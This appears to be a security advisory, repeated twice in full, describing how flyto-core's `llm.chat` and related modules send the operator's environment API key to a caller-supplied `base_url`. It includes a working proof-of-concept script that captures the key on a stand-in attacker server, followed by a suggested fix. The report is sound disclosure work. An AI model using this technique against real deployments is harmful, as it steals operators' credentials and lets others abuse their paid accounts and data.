## Summary `llm.chat` reads the operator's provider key from the environment (`OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, ...) and sends it in the `Authorization: Bearer` header to `base_url`, a parameter the caller controls. `base_url` is only checked against the SSRF guard, and the guard allows any public host, so pointing `base_url` at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates "environment access exposing secrets (e.g. `ANTHROPIC_API_KEY`)" as High. ## Affected code `src/core/modules/atomic/llm/chat.py` (`_call_openai`): ```python base_url = params.get('base_url') # caller-controlled if base_url: validate_url_with_env_config(base_url) # SSRF check only; a public attacker host passes if not api_key: api_key = os.getenv('OPENAI_API_KEY') # operator's key ... url = (base_url or "https://api.openai.com/v1").rstrip('/') + "/chat/completions" headers = {"Authorization": f"Bearer {api_key}"} await client.post(url, headers=headers, json=payload) # sent to base_url ``` The same wiring (env key plus caller endpoint) exists in `ai.model` (which does not even SSRF-check `base_url`), `llm.agent`, and `vector.connector` (`QDRANT_API_KEY` with a caller `url`). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host. ## Reproduction Save as `keyexfil_poc.py`, run with `PYTHONPATH=src/src python keyexfil_poc.py`. It sets an operator key in the environment and points `base_url` at a local capture server. ```python #!/usr/bin/env python3 import asyncio import os import threading from http.server import BaseHTTPRequestHandler, HTTPServer os.environ["OPENAI_API_KEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a" os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # stand-in for the attacker's public host CAPTURED = {} class Attacker(BaseHTTPRequestHandler): def do_POST(self): CAPTURED["auth"] = self.headers.get("Authorization") ln = int(self.headers.get("Content-Length", 0)); self.rfile.read(ln) b = b'{"choices":[{"message":{"content":"pwned"},"finish_reason":"stop"}],"usage":{"total_tokens":1}}' self.send_response(200); self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(b))); self.end_headers(); self.wfile.write(b) def log_message(self, *a): pass async def main(): from core.modules.atomic import register_all from core.modules.registry import ModuleRegistry register_all() threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Attacker).serve_forever, daemon=True).start() res = await ModuleRegistry.execute("llm.chat", params={ "prompt": "hi", "provider": "openai", "base_url": "http://localhost:8080", }, context={}) print("module ok:", res.get("ok")) print("Authorization received by attacker:", CAPTURED.get("auth")) if __name__ == "__main__": asyncio.run(main()) ``` Output: ``` module ok: True Authorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a ``` Confirmed against the running API as well: calling `llm.chat` with `base_url=https://example.com` was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached. ## Impact Theft of the operator's cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence `base_url`, which is reachable through the MCP agent surface or the hosted API. ## Suggested fix Only use the environment-derived key with the provider's official endpoint. If the caller supplies a custom `base_url`, require them to supply the `api_key` explicitly too, or check `base_url` against an allowlist of trusted endpoints — never auto-attach the operator's secret to an arbitrary host. Apply the same to `ai.model`, `llm.agent` and `vector.connector`, and add SSRF validation to `ai.model`'s `base_url`.

## Summary `llm.chat` reads the operator's provider key from the environment (`OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, ...) and sends it in the `Authorization: Bearer` header to `base_url`, a parameter the caller controls. `base_url` is only checked against the SSRF guard, and the guard allows any public host, so pointing `base_url` at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates "environment access exposing secrets (e.g. `ANTHROPIC_API_KEY`)" as High. ## Affected code `src/core/modules/atomic/llm/chat.py` (`_call_openai`): ```python base_url = params.get('base_url') # caller-controlled if base_url: validate_url_with_env_config(base_url) # SSRF check only; a public attacker host passes if not api_key: api_key = os.getenv('OPENAI_API_KEY') # operator's key ... url = (base_url or "https://api.openai.com/v1").rstrip('/') + "/chat/completions" headers = {"Authorization": f"Bearer {api_key}"} await client.post(url, headers=headers, json=payload) # sent to base_url ``` The same wiring (env key plus caller endpoint) exists in `ai.model` (which does not even SSRF-check `base_url`), `llm.agent`, and `vector.connector` (`QDRANT_API_KEY` with a caller `url`). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host. ## Reproduction Save as `keyexfil_poc.py`, run with `PYTHONPATH=src/src python keyexfil_poc.py`. It sets an operator key in the environment and points `base_url` at a local capture server. ```python #!/usr/bin/env python3 import asyncio import os import threading from http.server import BaseHTTPRequestHandler, HTTPServer os.environ["OPENAI_API_KEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a" os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # stand-in for the attacker's public host CAPTURED = {} class Attacker(BaseHTTPRequestHandler): def do_POST(self): CAPTURED["auth"] = self.headers.get("Authorization") ln = int(self.headers.get("Content-Length", 0)); self.rfile.read(ln) b = b'{"choices":[{"message":{"content":"pwned"},"finish_reason":"stop"}],"usage":{"total_tokens":1}}' self.send_response(200); self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(b))); self.end_headers(); self.wfile.write(b) def log_message(self, *a): pass async def main(): from core.modules.atomic import register_all from core.modules.registry import ModuleRegistry register_all() threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Attacker).serve_forever, daemon=True).start() res = await ModuleRegistry.execute("llm.chat", params={ "prompt": "hi", "provider": "openai", "base_url": "http://localhost:8080", }, context={}) print("module ok:", res.get("ok")) print("Authorization received by attacker:", CAPTURED.get("auth")) if __name__ == "__main__": asyncio.run(main()) ``` Output: ``` module ok: True Authorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a ``` Confirmed against the running API as well: calling `llm.chat` with `base_url=https://example.com` was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached. ## Impact Theft of the operator's cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence `base_url`, which is reachable through the MCP agent surface or the hosted API. ## Suggested fix Only use the environment-derived key with the provider's official endpoint. If the caller supplies a custom `base_url`, require them to supply the `api_key` explicitly too, or check `base_url` against an allowlist of trusted endpoints — never auto-attach the operator's secret to an arbitrary host. Apply the same to `ai.model`, `llm.agent` and `vector.connector`, and add SSRF validation to `ai.model`'s `base_url`.